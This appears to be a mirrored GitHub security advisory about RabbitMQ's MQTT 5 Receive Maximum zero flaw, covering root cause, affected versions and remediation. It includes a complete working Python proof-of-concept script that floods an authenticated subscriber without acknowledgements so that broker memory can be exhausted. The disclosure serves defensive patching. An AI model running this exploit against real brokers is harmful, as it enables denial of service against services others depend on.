Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-4826-gphh-vw3x

Опубликовано: 18 авг. 2026
Источник: github
Github: Не прошло ревью
CVSS4: 2.3

Описание

MQTT 5.0: Receive Maximum zero disables delivery credit

Summary

RabbitMQ accepts the MQTT 5 Receive Maximum CONNECT property with value zero, although MQTT 5 requires the server to treat zero as a malformed packet.

RabbitMQ converts the value directly into {simple_prefetch, 0}. For classic queues, zero means unlimited prefetch, not zero delivery credit. An authenticated subscriber can therefore advertise zero, subscribe at QoS 1, read deliveries without sending PUBACK, and cause the broker's MQTT process and queue acknowledgement state to grow without the configured MQTT prefetch bound.

A control connection advertising Receive Maximum = 1 receives exactly one QoS 1 message until it acknowledges it.

Preconditions

  • rabbitmq_mqtt or Web MQTT is enabled.
  • The attacker has valid credentials and permission to consume a topic.
  • Messages are available to the subscription at QoS 1.
  • The affected subscription uses a classic queue. Clean-start MQTT subscriptions use classic queues in the verified configuration.

Root cause

1. CONNECT parsing accepts zero

%% deps/rabbitmq_mqtt/src/rabbit_mqtt_packet.erl:350-351 parse_prop(<<16#21, Val:16, Bin/binary>>, ?CONNECT = Type, Props) -> parse_prop(Bin, Type, Props#{'Receive-Maximum' => Val});

No guard rejects Val = 0.

2. Zero becomes effective prefetch

%% deps/rabbitmq_mqtt/src/rabbit_mqtt_processor.erl:295-302 prefetch(Props) -> ReceiveMax = maps:get('Receive-Maximum', Props, ?TWO_BYTE_INTEGER_MAX), min(rabbit_mqtt_util:env(prefetch), ReceiveMax).

With mqtt.prefetch = 10, a client value of zero produces zero.

3. Classic queues interpret zero as unlimited

The MQTT consumer is created with:

mode => {simple_prefetch, Prefetch}

At Prefetch = 0, rabbit_queue_consumers does not install a limiting credit record. QoS 1 deliveries continue while the MQTT processor tracks packet IDs and waits for PUBACK.

Quorum queues treat zero differently and can stop delivery, but this does not protect classic MQTT subscription queues.

Basic Python proof of concept

Attachment: mqtt-receive-maximum-zero-poc.py

The attachment is one Python 3 file using only the standard library.

Target configuration:

# rabbitmq.conf mqtt.prefetch = 10

Enable MQTT and create any ordinary user with permission to consume and publish in the target vhost:

rabbitmq-plugins enable rabbitmq_mqtt

Run the PoC against that server:

python3 mqtt-receive-maximum-zero-poc.py \ --host rabbitmq.example --port 1883 \ --user poc --password pocpass \ --messages 1000

The script connects two raw MQTT 5 subscribers:

  • control: Receive Maximum = 1;
  • attack: forbidden Receive Maximum = 0.

Both subscribe at QoS 1 and deliberately send no PUBACK. A third connection publishes 20 control messages and 1,000 attack messages. A vulnerable server prints:

{ "receive_maximum_1_deliveries_without_puback": 1, "receive_maximum_0_deliveries_without_puback": 1000, "attack_messages_published": 1000 } VULNERABLE

Independent Docker validation evidence

The same wire sequence was independently run against stock RabbitMQ 4.3.4:

RabbitMQ 4.3.4 control: Receive Maximum: 1 published QoS 1: 20 received without PUBACK: 1 attack: Receive Maximum: 0 published QoS 1: 1000 received without PUBACK: 1000 PASS: Receive Maximum zero exceeded configured broker prefetch PASS: Receive Maximum zero delivered at least 90% without PUBACK ASSERTIONS_OK Ping succeeded

MQTT QoS acknowledgements are tracked inside rabbit_mqtt_processor, so management queue messages_unacknowledged can remain zero even while the MQTT client has 1,000 QoS 1 deliveries awaiting PUBACK. The wire-level control directly demonstrates the credit bypass.

Impact

  • The attacker can make unsettled delivery state grow far beyond both the client-advertised receive limit and the configured broker MQTT prefetch.
  • Repeating the flow with sustained publishing can exhaust broker memory.
  • RabbitMQ's memory alarm can stop new publishers but does not reclaim existing unsettled MQTT state.
  • The attack requires authentication and an opt-in MQTT listener, but no administrator privileges.

Recommended remediation

  • Reject MQTT 5 CONNECT packets with Receive Maximum = 0 using the required malformed-packet reason code.
  • Validate duplicate and out-of-range Receive Maximum properties.
  • Never map an invalid client credit value to RabbitMQ's unlimited-prefetch sentinel.
  • Bound per-connection unsettled MQTT state independently of queue prefetch.
  • Add zero-value tests for classic, quorum, native MQTT, and Web MQTT paths.
#!/usr/bin/env python3 """RabbitMQ MQTT 5 Receive Maximum zero PoC (standard library only).""" from __future__ import annotations import argparse import json import socket import struct import threading import time def varint(value: int) -> bytes: out = bytearray() while True: byte = value & 0x7F value >>= 7 out.append(byte | (0x80 if value else 0)) if not value: return bytes(out) def read_varint(sock: socket.socket) -> int: value, multiplier = 0, 1 for _ in range(4): byte = sock.recv(1)[0] value += (byte & 0x7F) * multiplier if not byte & 0x80: return value multiplier *= 128 raise ValueError("invalid MQTT varint") def mqtt_string(value: str | bytes) -> bytes: raw = value.encode() if isinstance(value, str) else value return struct.pack(">H", len(raw)) + raw def packet(sock: socket.socket, timeout: float = 10) -> tuple[int, bytes]: sock.settimeout(timeout) kind = sock.recv(1)[0] >> 4 size = read_varint(sock) body = bytearray() while len(body) < size: body.extend(sock.recv(size - len(body))) return kind, bytes(body) def connect( host: str, port: int, client_id: str, user: str, password: str, receive_maximum: int | None, ) -> socket.socket: properties = ( b"" if receive_maximum is None else b"\x21" + struct.pack(">H", receive_maximum) ) variable = ( mqtt_string("MQTT") + b"\x05\xc2" + struct.pack(">H", 60) + varint(len(properties)) + properties ) body = variable + mqtt_string(client_id) + mqtt_string(user) + mqtt_string(password) sock = socket.create_connection((host, port), timeout=10) sock.sendall(b"\x10" + varint(len(body)) + body) kind, connack = packet(sock) if kind != 2 or len(connack) < 2 or connack[1] != 0: raise RuntimeError(f"CONNECT rejected: kind={kind}, body={connack.hex()}") return sock def subscribe(sock: socket.socket, topic: str) -> None: body = b"\x00\x01\x00" + mqtt_string(topic) + b"\x01" # packet 1, QoS 1 sock.sendall(b"\x82" + varint(len(body)) + body) kind, _ = packet(sock) if kind != 9: raise RuntimeError("expected SUBACK") class NoPubackReader(threading.Thread): def __init__(self, sock: socket.socket) -> None: super().__init__(daemon=True) self.sock = sock self.count = 0 def run(self) -> None: while True: try: kind, _ = packet(self.sock, 1) if kind == 3: # PUBLISH: deliberately do not send PUBACK self.count += 1 except (TimeoutError, socket.timeout): continue except (ConnectionError, OSError, IndexError): return def publish(sock: socket.socket, topic: str, count: int) -> None: for number in range(1, count + 1): packet_id = ((number - 1) % 65_535) + 1 body = ( mqtt_string(topic) + struct.pack(">H", packet_id) + b"\x00" + f"message-{number}".encode() ) sock.sendall(b"\x32" + varint(len(body)) + body) kind, _ = packet(sock) if kind != 4: raise RuntimeError("expected PUBACK from broker") def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=1883) parser.add_argument("--user", required=True) parser.add_argument("--password", required=True) parser.add_argument("--messages", type=int, default=1000) args = parser.parse_args() one = connect(args.host, args.port, "poc-max-one", args.user, args.password, 1) zero = connect(args.host, args.port, "poc-max-zero", args.user, args.password, 0) subscribe(one, "poc/receive-max-one") subscribe(zero, "poc/receive-max-zero") one_reader, zero_reader = NoPubackReader(one), NoPubackReader(zero) one_reader.start() zero_reader.start() publisher = connect( args.host, args.port, "poc-publisher", args.user, args.password, None ) publish(publisher, "poc/receive-max-one", 20) publish(publisher, "poc/receive-max-zero", args.messages) deadline = time.time() + 15 while zero_reader.count < args.messages and time.time() < deadline: time.sleep(0.1) result = { "receive_maximum_1_deliveries_without_puback": one_reader.count, "receive_maximum_0_deliveries_without_puback": zero_reader.count, "attack_messages_published": args.messages, } print(json.dumps(result, indent=2)) vulnerable = one_reader.count == 1 and zero_reader.count > 10 print("VULNERABLE" if vulnerable else "NOT_REPRODUCED") return 0 if vulnerable else 1 if __name__ == "__main__": raise SystemExit(main())

Пакеты

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.2.0, < 4.2.10

4.2.10

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.3.0, < 4.3.5

4.3.5

2.3 Low

CVSS4

2.3 Low

CVSS4